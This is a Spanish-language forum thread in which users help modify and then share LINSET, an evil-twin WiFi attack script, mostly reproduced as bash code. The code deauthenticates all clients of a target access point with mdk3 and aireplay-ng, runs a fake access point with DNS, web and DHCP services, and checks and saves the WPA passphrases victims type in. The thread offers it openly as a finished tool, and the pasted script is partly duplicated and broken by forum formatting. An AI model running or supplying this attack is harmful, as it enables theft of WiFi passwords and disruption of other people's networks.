   killall mdk3 &> $linset_output_device
   echo "$(cat $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt
   xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautentificando con mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &
   
   xterm -hold $TOPRIGHT -title "Esperando la pass" -e $DUMP_PATH/handcheck &
   conditional_clear
   
   while true; do
      mostrarheader
      
      echo "Ataque en curso..."
      echo "                                       "
      echo "      1) Elegir otra red"
      echo "      2) Salir"
      echo " "
      echo -n '      #> '
      read yn
      case $yn in
         1 ) matartodo; CSVDB=dump-01.csv; selection; break;;
         2 ) matartodo; exitmode; break;;
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
      esac
   done
   
}

# Comprueba la validez de la contraseña
function handshakecheck {
   
   echo "#!/bin/bash
   
   echo > $DUMP_PATH/data.txt
   echo -n \"0\"> $DUMP_PATH/hit.txt
   echo "" >$DUMP_PATH/loggg
   
   tput civis
   clear
   
   minutos=0
   horas=0
   i=0
    
   while true; do
   
   segundos=\$i
   dias=\`expr \$segundos / 86400\`
   segundos=\`expr \$segundos % 86400\`
   horas=\`expr \$segundos / 3600\`
   segundos=\`expr \$segundos % 3600\`
   minutos=\`expr \$segundos / 60\`
   segundos=\`expr \$segundos % 60\`
   
   if [ \"\$segundos\" -le 9 ]; then
   is=\"0\"
   else
   is=
   fi
   
   if [ \"\$minutos\" -le 9 ]; then
   im=\"0\"
   else
   im=
   fi
   
   if [ \"\$horas\" -le 9 ]; then
   ih=\"0\"
   else
   ih=
   fi">>$DUMP_PATH/handcheck

   if [ $authmode = "handshake" ]; then
      echo "if [ -f $DUMP_PATH/intento ]; then
      
      if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then
      echo \"2\">$DUMP_PATH/intento
      break
      else
      echo \"1\">$DUMP_PATH/intento
      fi
      
      fi">>$DUMP_PATH/handcheck
      
   elif [ $authmode = "wpa_supplicant" ]; then
        echo "
      wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf &
      wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg &
      
      if [ -f $DUMP_PATH/intento ]; then
      
      if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then
      echo \"2\">$DUMP_PATH/intento
      break
      else
      echo \"1\">$DUMP_PATH/intento
      fi
      
      fi
      ">>$DUMP_PATH/handcheck
   fi
   
   echo "readarray -t CLIENTESDHCP < <(cat $DUMP_PATH/clientes.txt | grep \"DHCPACK on\"| awk '!x[\$0]++' )
   
   echo
   echo -e \"  PUNTO DE ACCESO:\"
   echo -e \"    Nombre..........: "$blanco"$Host_SSID"$rescolor"\"
   echo -e \"    MAC.............: "$amarillo"$Host_MAC"$rescolor"\"
   echo -e \"    Canal...........: "$blanco"$Host_CHAN"$rescolor"\"
   echo -e \"    Fabricante......: "$verde"$Host_MAC_MODEL"$rescolor"\"
   echo -e \"    Tiempo activo...: "$gris"\$ih\$horas:\$im\$minutos:\$is\$segundos"$rescolor"\"
   echo -e \"    Intentos........: "$rojo"\$(cat $DUMP_PATH/hit.txt)"$rescolor"\"
   echo -e \"    Clientes........: "$azul"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '!x[\$0]++' | wc -l)"$rescolor"\"
   echo
   echo -e \"  CLIENTES:\"
   
   x=0
   for line in \"\${CLIENTESDHCP
  • }\"; do

     x=\$((\$x+1))
     echo -e \"    "$verde"\$x) "$rojo"\$(echo \$line| cut -d \" \" -f 3) "$amarillo"\$(echo \$line| cut -d \" \" -f 5) "$verde"\$(echo \$line| cut -d \" \" -f 6)"$rescolor"\"   
   done
   
   echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck
   
   
   if [ $authmode = "handshake" ]; then
      echo "let i=\$i+1
      sleep 1">>$DUMP_PATH/handcheck
      
   elif [ $authmode = "wpa_supplicant" ]; then
      echo "sleep 5
      
      killall wpa_supplicant &>$linset_output_device
      killall wpa_passphrase &>$linset_output_device
      let i=\$i+5">>$DUMP_PATH/handcheck
   fi
   
   echo "done
   clear
   echo \"1\" > $DUMP_PATH/status.txt
   
   sleep 7
   
   killall mdk3 &>$linset_output_device
   killall aireplay-ng &>$linset_output_device
   killall airbase-ng &>$linset_output_device
   kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$linset_output_device
   killall hostapd &>$linset_output_device
   killall saturno &>$linset_output_device
   killall lighttpd &>$linset_output_device
   killall dhcpd &>$linset_output_device
   killall wpa_supplicant &>$linset_output_device
   killall wpa_passphrase &>$linset_output_device
   
   echo \"
   LINSET $version por saturno
   
   SSID: $Host_SSID
   BSSID: $Host_MAC ($Host_MAC_MODEL)
   Channel: $Host_CHAN
   Security: $Host_ENC
   Time: \$ih\$horas:\$im\$minutos:\$is\$segundos
   clave wep wpa wpa2 o wps pin: \$(cat $DUMP_PATH/data.txt)
   \" >$HOME/$Host_SSID-clave wep wpa wpa2 o wps pin.txt">>$DUMP_PATH/handcheck
   
   
   if [ $authmode = "handshake" ]; then
      echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_clave wep wpa wpa2 o wps pin.txt -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$rojo"$HOME/$Host_SSID-password.txt"$rescolor"\"
      ">>$DUMP_PATH/handcheck
      
   elif [ $authmode = "wpa_supplicant" ]; then
      echo "echo -e \"Se ha guardado en "$rojo"$HOME/$Host_SSID-password.txt"$rescolor"\"">>$DUMP_PATH/handcheck
   fi
   
   echo "kill -INT \$(ps a | grep bash| grep linset | awk '{print \$1}') &>$linset_output_device">>$DUMP_PATH/handcheck
   chmod +x $DUMP_PATH/handcheck
}


############################################# < ATAQUE > ############################################






############################################## < COSAS > ############################################

# Deauth a todos
function deauthall {
   
   xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR &
}

function deauthmdk3 {
   
   echo "$Host_MAC" >$DUMP_PATH/mdk3.txt
   xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &
   mdk3PID=$!
   sleep 15
   kill $mdk3PID &>$linset_output_device
}

# Deauth a un cliente específico
function deauthesp {
   
   sleep 2
   xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR &
}

# Cierra todos los procesos
function matartodo {
   
   killall aireplay-ng &>$linset_output_device
   kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$linset_output_device
   killall hostapd &>$linset_output_device
   killall saturno &>$linset_output_device
   killall lighttpd &>$linset_output_device
   killall dhcpd &>$linset_output_device
   killall xterm &>$linset_output_device
   
}



############################################## < COSAS > ############################################






######################################### < INTERFACES WEB > ########################################

# Crea el contenido de la interface web
function NEUTRA {

   cp -r "data" $DUMP_PATH
   cp "index.htm" $DUMP_PATH
}
######################################### < INTERFACES WEB > ########################################


mostrarheader && setresolution && setinterface


Quiero cambiar ese WPA hack no me gusta y no representa LINSET jaja.

Saludos

Desconectado sanson

  • Colaborador
  • *
  • Mensajes: 8404
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #3 en: 01-07-2016, 16:15 (Viernes) »
Hola

Creo que no me has entendido........... ningún linset captura hansdhake

Pentest-2016

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #4 en: 01-07-2016, 16:24 (Viernes) »
Hola

Creo que no me has entendido........... ningún linset captura hansdhake


Jaja me pillaste, que noob soy :(

Bueno me acabo de fijar "creo" que se necesita el openssl (otro archivo que tengo) para crear el certificado SSL.

Pentest-2016

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #5 en: 01-07-2016, 16:27 (Viernes) »
Pero bueno me pueden ayudar a lo que me refiero en el título de la publicación.

Solo quiero saber porque tengo errores al colocar el código ASCII.

Saludos

lego_regan

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #6 en: 01-07-2016, 16:57 (Viernes) »
Tienes que poner cada linea del dibujo ascii entre comillas (") y poner delante el comando echo .

Por ejemplo si tu texto es:

 _     |  _
(_ |_| | (_)

deberías escribir:
Código: [Seleccionar]
echo " _     |  _"
echo "(_ |_| | (_)"

Si además quieres que tenga un color (dentro de los predefinidos en el script LINSET), puedes poner
Código: [Seleccionar]
echo -e $color ...
siendo color uno de los colores predefinidos (rojo, amarillo, blanco, verde...).

Si además quieres que tenga ese efecto de que se vaya desplegando le pones el sleep ese delante junto con el && que permite concatenar 2 comandos en una misma linea:
Código: [Seleccionar]
sleep 0.1 && echo ...

Tampoco hace falta que hagas un chmod 777 al script, puedes hacer directamente un chomod +x, o chmod 775, darle permisos de edición a cualquier usuario sobre un script que vas a ejecutar generalmente con permisos de super usuario no es buena idea (aunque en teoría estando en la carpeta /root/ ningún usuario que no fuera root podría ejecutarlo pero si te da por moverlo fuera de /root/ puede ser muy peligroso).

Saludos

Pentest-2016

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #7 en: 01-07-2016, 17:25 (Viernes) »
Tienes que poner cada linea del dibujo ascii entre comillas (") y poner delante el comando echo .

Por ejemplo si tu texto es:

 _     |  _
(_ |_| | (_)

deberías escribir:
Código: [Seleccionar]
echo " _     |  _"
echo "(_ |_| | (_)"

Si además quieres que tenga un color (dentro de los predefinidos en el script LINSET), puedes poner
Código: [Seleccionar]
echo -e $color ...
siendo color uno de los colores predefinidos (rojo, amarillo, blanco, verde...).

Si además quieres que tenga ese efecto de que se vaya desplegando le pones el sleep ese delante junto con el && que permite concatenar 2 comandos en una misma linea:
Código: [Seleccionar]
sleep 0.1 && echo ...

Tampoco hace falta que hagas un chmod 777 al script, puedes hacer directamente un chomod +x, o chmod 775, darle permisos de edición a cualquier usuario sobre un script que vas a ejecutar generalmente con permisos de super usuario no es buena idea (aunque en teoría estando en la carpeta /root/ ningún usuario que no fuera root podría ejecutarlo pero si te da por moverlo fuera de /root/ puede ser muy peligroso).

Saludos


Gracias crack. Lo del chmod 777 era del script de Sergio Saturno yo no coloqué eso. Y ya sabía darle permiso.

Lo pruebo y ahora les cuento.
« Última modificación: 01-07-2016, 17:25 (Viernes) por Pentest-2016 »

Pentest-2016

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #8 en: 01-07-2016, 17:37 (Viernes) »
Tienes que poner cada linea del dibujo ascii entre comillas (") y poner delante el comando echo .

Por ejemplo si tu texto es:

 _     |  _
(_ |_| | (_)

deberías escribir:
Código: [Seleccionar]
echo " _     |  _"
echo "(_ |_| | (_)"

Si además quieres que tenga un color (dentro de los predefinidos en el script LINSET), puedes poner
Código: [Seleccionar]
echo -e $color ...
siendo color uno de los colores predefinidos (rojo, amarillo, blanco, verde...).

Si además quieres que tenga ese efecto de que se vaya desplegando le pones el sleep ese delante junto con el && que permite concatenar 2 comandos en una misma linea:
Código: [Seleccionar]
sleep 0.1 && echo ...

Tampoco hace falta que hagas un chmod 777 al script, puedes hacer directamente un chomod +x, o chmod 775, darle permisos de edición a cualquier usuario sobre un script que vas a ejecutar generalmente con permisos de super usuario no es buena idea (aunque en teoría estando en la carpeta /root/ ningún usuario que no fuera root podría ejecutarlo pero si te da por moverlo fuera de /root/ puede ser muy peligroso).

Saludos


Que me falta?



Todavía tengo líneas mal 

EDITO: Creo que sé donde están los errores. Es por las ", ', ) de los ASCII generados.
« Última modificación: 01-07-2016, 17:42 (Viernes) por Pentest-2016 »

lego_regan

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #9 en: 01-07-2016, 17:43 (Viernes) »

Que me falta?
...
Todavía tengo líneas mal
En la primera linea donde pones Handshake te falta las comillas dobles al final para cerrar la frase.
Y lo mismo en la 3ª y 4ª linea de la misma palabra.

Pentest-2016

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #10 en: 01-07-2016, 19:14 (Viernes) »

Que me falta?
...
Todavía tengo líneas mal
En la primera linea donde pones Handshake te falta las comillas dobles al final para cerrar la frase.
Y lo mismo en la 3ª y 4ª linea de la misma palabra.


Muchas gracias crack¡ Ya anda todo bien. Ahora el problema es que no se genera el SSL pero bueno ya investigaré eso un poco más adelante.

Le quiero dar un poco más de colocor al ASCII y ya lo compartiré.

Salu2

Pentest-2016

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #11 en: 02-07-2016, 01:28 (Sábado) »
Después de sufrir durante 8 horas con todos los miles de errores (y creo que alguno más habrá) ya acabé mi LINSET.

Tiene certificado SSL, no depende de capturar Handshake y tiene Wifijammer.py como desautentificador "doble" de clientes. Vamos una bombita.

Comparto script.

Citar
#!/bin/bash
clear
##################################### < CONFIGURACION DEL SCRIPT > #####################################

# Ruta de almacenamiento de datos
DUMP_PATH="/tmp/"
# Numero de desautentificaciones
DEAUTHTIME="14"
# Rango de IP que se usaran en DHCP
IP=192.168.1.1
# Crea variable de de una red a partir del Gateway
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)

#Colores
blanco="\033[1;37m"
gris="\033[0;37m"
magenta="\033[0;35m"
rojo="\033[1;31m"
verde="\033[1;32m"
amarillo="\033[1;33m"
azul="\033[1;34m"
rescolor="\e[0m"

# Ajusta el Script en modo normal o desarrollador
if [ $LINSET_DEBUG = 1 ]; then
   ## set to /dev/stdout when in developer/debugger mode
   export linset_output_device=/dev/stdout
   HOLD="-hold"
else
   ## set to /dev/null when in production mode
   export linset_output_device=/dev/null
   HOLD=""
fi

# Hacer clears si el modo es normal
function conditional_clear() {
   
   if [[ "$linset_output_device" != "/dev/stdout" ]]; then clear; fi
}

# Animacion del spinner
function spinner {
   
   local pid=$1
   local delay=0.15
   local spinstr='|/-\'
      while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
         local temp=${spinstr#?}
         printf " [%c]  " "$spinstr"
         local spinstr=$temp${spinstr%"$temp"}
         sleep $delay
         printf "\b\b\b\b\b\b"
      done
   printf "    \b\b\b\b"
}

# Si se recibe un error, mostrar la linea mientras estemos en modo DEBUG
if [ "$LINSET_DEBUG" = "1" ]; then
   trap 'err_report $LINENO' ERR
fi

# Comunica la linea donde se encuentra el error
function err_report {
   echo "Error en la linea $1"
}


# Si se cierra el script inesperadamente, ejecutar la funcion
trap exitmode SIGINT


##################################### < CONFIGURACION DEL SCRIPT > #####################################






############################################## < INICIO > ##############################################


if ! [ $(id -u) = "0" ] 2>/dev/null; then
   echo -e "\e[1;31mYou don't have admin privilegies"$rescolor""
   exit
fi

# Comprueba la existencia de todas las dependencias
function checkdependences {
   
   echo -ne "Aircrack-ng....."
   if ! hash aircrack-ng 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Aireplay-ng....."
   if ! hash aireplay-ng 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Airmon-ng......."
   if ! hash airmon-ng 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Airodump-ng....."
   if ! hash airodump-ng 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Awk............."
   if ! hash awk 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Curl............"
   if ! hash curl 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Dhcpd..........."
   if ! hash dhcpd 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor" (isc-dhcp-server)"
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Hostapd........."
   if ! hash hostapd 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Iwconfig........"
   if ! hash iwconfig 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Lighttpd........"
   if ! hash lighttpd 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Macchanger......"
   if ! hash macchanger 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
       echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   echo -ne "Mdk3............"
   if ! hash mdk3 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Nmap............"
   if ! [ -f /usr/bin/nmap ]; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Php5-cgi........"
   if ! [ -f /usr/bin/php-cgi ]; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Pyrit..........."
   if ! hash pyrit 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Python.........."
   if ! hash python 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Unzip..........."
   if ! hash unzip 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   echo -ne "Xterm..........."
   if ! hash xterm 2>/dev/null; then
      echo -e "\e[1;31mNot installed"$rescolor""
      salir=1
   else
      echo -e "\e[1;32mOK!"$rescolor""
   fi
   sleep 0.050
   
   if [ "$salir" = "1" ]; then
   exit 1
   fi
   
   sleep 1
   clear
}
mostrarheader
checkdependences

# Funcion que limpia las interfaces y sale
function exitmode {
   
   echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando la limpieza y cerrando."$rescolor""
   
   if ps -A | grep -q aireplay-ng; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"aireplay-ng"$rescolor""
      killall aireplay-ng &>$linset_output_device
   fi
   
   if ps -A | grep -q airodump-ng; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"airodump-ng"$rescolor""
      killall airodump-ng &>$linset_output_device
   fi
   
   if ps a | grep python| grep fakedns; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"python"$rescolor""
      kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$linset_output_device
   fi
   
   if ps -A | grep -q hostapd; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"hostapd"$rescolor""
      killall hostapd &>$linset_output_device
   fi
   
   if ps -A | grep -q lighttpd; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"lighttpd"$rescolor""
      killall lighttpd &>$linset_output_device
   fi
   
   if ps -A | grep -q dhcpd; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"dhcpd"$rescolor""
      killall dhcpd &>$linset_output_device
   fi
   
   if ps -A | grep -q mdk3; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"mdk3"$rescolor""
      killall mdk3 &>$linset_output_device
   fi
   
   if [ "$WIFI_MONITOR" != "" ]; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Deteniendo interface "$verde"$WIFI_MONITOR"$rescolor""
      airmon-ng stop $WIFI_MONITOR &> $linset_output_device
   fi
   
   if [ "$WIFI" != "" ]; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Deteniendo interface "$verde"$WIFI"$rescolor""
      airmon-ng stop $WIFI &> $linset_output_device
   fi
   
   if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
      echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Restaurando "$gris"ipforwarding"$rescolor""
      echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
   fi
   
   echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Limpiando "$gris"iptables"$rescolor""
   iptables --flush
   iptables --table nat --flush
   iptables --delete-chain
   iptables --table nat --delete-chain
   
   echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Restaurando "$gris"tput"$rescolor""
   tput cnorm
   
   
   echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Reiniciando "$gris"NetworkManager"$rescolor""
   service restart networkmanager &> $linset_output_device &
   
   echo -e ""$blanco"["$verde"+"$blanco"] "$verde"Limpiza efectuada con exito!"$rescolor""
   exit
   
}

# Genera listado de Interfaces en el Script
readarray -t webinterfaces < <(echo -e "Neutra
\e[1;31mSalir"$rescolor""
)

##################################### < CONFIGURACION DEL SCRIPT > #####################################






############################################## < INICIO > ##############################################


if ! [ $(id -u) = "0" ] 2>/dev/null; then
   echo -e "\e[1;31mYou don't have admin privilegies"$rescolor""
   exit
fi

# Crear carpeta de trabajo
if [ ! -d $DUMP_PATH ]; then
   mkdir $DUMP_PATH &>$linset_output_device
fi


# Muestra el mensaje principal del script
function mostrarheader(){
   
   
   conditional_clear
   echo ""
   sleep 0.1 && echo -e $rojo "                      _    _ _   _  ____  _____ _______"                    
   sleep 0.1 && echo -e $rojo "                     | |  | | \ | |/ ___\/  ___|__   __|"                    
   sleep 0.1 && echo -e $rojo "                     | |  | |  \| | |___ | |___   | |"
   sleep 0.1 && echo -e $rojo "                     | |  | | .   |\___ \|  ___|  | |"
   sleep 0.1 && echo -e $rojo "                     | |__| | |\  |____| | |___   | |"
   sleep 0.1 && echo -e $rojo "                     |____|_|_| \_|\____/\_____|  |_|"
   sleep 0.1 && echo ""
   sleep 0.1 && echo ""
   sleep 0.1 && echo ""
   sleep 0.1 && echo -e $amarillo "           _       ______  ___ "$blanco"   __"$amarillo" ___  "$verde"    __  __           __"
   sleep 0.1 && echo -e $amarillo "          | |     / / __ \/   |"$blanco"  / /"$amarillo"|__ \ "$verde"   / / / /___ ______/ /__"
   sleep 0.1 && echo -e $amarillo "          | | /| / / /_/ / /| |"$blanco" / /"$amarillo" __/ /"$verde"   / /_/ / __  / ___/ //_/"
   sleep 0.1 && echo -e $amarillo "          | |/ |/ / ____/ ___ |"$blanco"/ /"$amarillo" / __/ "$verde"  / __  / /_/ / /__/ ,<"
   sleep 0.1 && echo -e $amarillo "          |__/|__/_/   /_/  |_"$blanco"/_/"$amarillo" /____/ "$verde" /_/ /_/\__,_/\___/_/|_|"
        sleep 0.1 && echo ""
   sleep 0.1 && echo ""            
   sleep 0.1 && echo -e $azul "     _   _   _____    _   _      _      _   _   ______    _____    _   _      _       _  __    _____ "
   sleep 0.1 && echo -e $azul "    | \ | | |  _  |  | | | |    / \    | \ | |  |  _  \  / ____|  | | | |    / \     | |/ /   |   __|"
   sleep 0.1 && echo -e $azul "    |  \| | | | | |  | |_| |   / O \   |  \| |  | | | |  \___ \   | |_| |   / O \    | ' /    | ===| "
   sleep 0.1 && echo -e $azul "    | |\  | | |_| |  |  _  |  / ___ \  | |\  |  | |_| |  ____) )  |  _  |  / ___ \   |   \    | ===_ "  
   sleep 0.1 && echo -e $azul "    |_| \_| |_____|  |_| |_| /_/   \_\ |_| \_|  |____/   |____/   |_| |_| /_/   \_\  |_|\_\   |_____|"    
        sleep 1  
        echo ""
        echo ""
        echo -e $amarillo"                                         "$amarillo"by "$amarillo" PENTEST-2016"
        sleep 1
        
}



# Crear carpeta de trabajo
if [ ! -d $DUMP_PATH ]; then
   mkdir $DUMP_PATH &>$linset_output_device
fi

# Mostrar info del AP seleccionado
function infoap {
   
   Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]`
   Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | awk '{ print $5,$6,$7 }'`
   echo "INFO AP OBJETIVO"
   echo
   echo -e "                     "$verde"SSID"$rescolor" = $Host_SSID / $Host_ENC"
   echo -e "                    "$verde"Canal"$rescolor" = $channel"
   echo -e "                "$verde"Velocidad"$rescolor" = ${speed:2} Mbps"
   echo -e "               "$verde"MAC del AP"$rescolor" = $mac (\e[1;33m$Host_MAC_MODEL"$rescolor")"
   echo
}

############################################## < INICIO > ##############################################






############################################### < MENU > ###############################################

# Se detecta la resolucion optima de nuestro equipo
function setresolution {

   function resA {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 90x13+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 83x26-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 90x24+0-0"
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 75x12-0-0"
      TOPLEFTBIG="-geometry 91x42+0+0"
      TOPRIGHTBIG="-geometry 83x26-0+0"
   }
   
   function resB {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 92x14+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 68x25-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 92x36+0-0"
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 74x20-0-0"
      TOPLEFTBIG="-geometry 100x52+0+0"
      TOPRIGHTBIG="-geometry 74x30-0+0"
   }
   function resC {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 100x20+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 109x20-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 100x30+0-0"
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 109x20-0-0"
      TOPLEFTBIG="-geometry  100x52+0+0"
      TOPRIGHTBIG="-geometry 109x30-0+0"
   }
   function resD {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 110x35+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 99x40-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 110x35+0-0"
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 99x30-0-0"
      TOPLEFTBIG="-geometry 110x72+0+0"
      TOPRIGHTBIG="-geometry 99x40-0+0"
   }
   function resE {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 130x43+0+0"
      # Upper right window -0+0
      TOPRIGHT="-geometry 68x25-0+0"
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 130x40+0-0"
      BOTTOMRIGHT="-geometry 132x35-0-0"
      TOPLEFTBIG="-geometry 130x85+0+0"
      TOPRIGHTBIG="-geometry 132x48-0+0"
   }
   function resF {
      # Upper left window +0+0 (size*size+position+position)
      TOPLEFT="-geometry 100x17+0+0" # capturando datos de victima ...  ( VENTANA AIRODUMP ATAQUE )
      # Upper right window -0+0
      TOPRIGHT="-geometry 90x27-0+0" # desautenticando
      # Bottom left window +0-0
      BOTTOMLEFT="-geometry 100x30+0-0" # aireplay , CHOPCHOP , FRAGMENTACION... ( VENTANA BAJO CAPTURAS DE AIRODUMP )
      # Bottom right window -0-0
      BOTTOMRIGHT="-geometry 90x20-0-0" # ASOCIANDO CON... ( VENTANA ROJA )
      TOPLEFTBIG="-geometry  100x70+0+0" # escaneando objetivos ... ( ESCANEO INICIAL )
      TOPRIGHTBIG="-geometry 90x27-0+0"  # AIRCRACK ... ( BUSQUEDA DE KEYS )
}

detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
##  A) 1024x600
##  B) 1024x768
##  C) 1280x768
##  D) 1280x1024
##  E) 1600x1200
case $detectedresolution in
   "1024x600" ) resA ;;
   "1024x768" ) resB ;;
   "1280x768" ) resC ;;
   "1366x768" ) resC ;;
   "1280x1024" ) resD ;;
   "1600x1200" ) resE ;;
   "1366x768"  ) resF ;;
        * ) resA ;; ## fallback a una opción segura
esac
}

# Escoge las interfaces a usar
function setinterface {
   
# Crea una variable con la lista interfaces de red fisicas
   readarray -t wirelessifaces < <(airmon-ng |grep "-" | awk '{print $1}')
   INTERFACESNUMBER=`airmon-ng| grep -c "-"`
   
   echo
   echo
   echo Autodetectando Resolución...
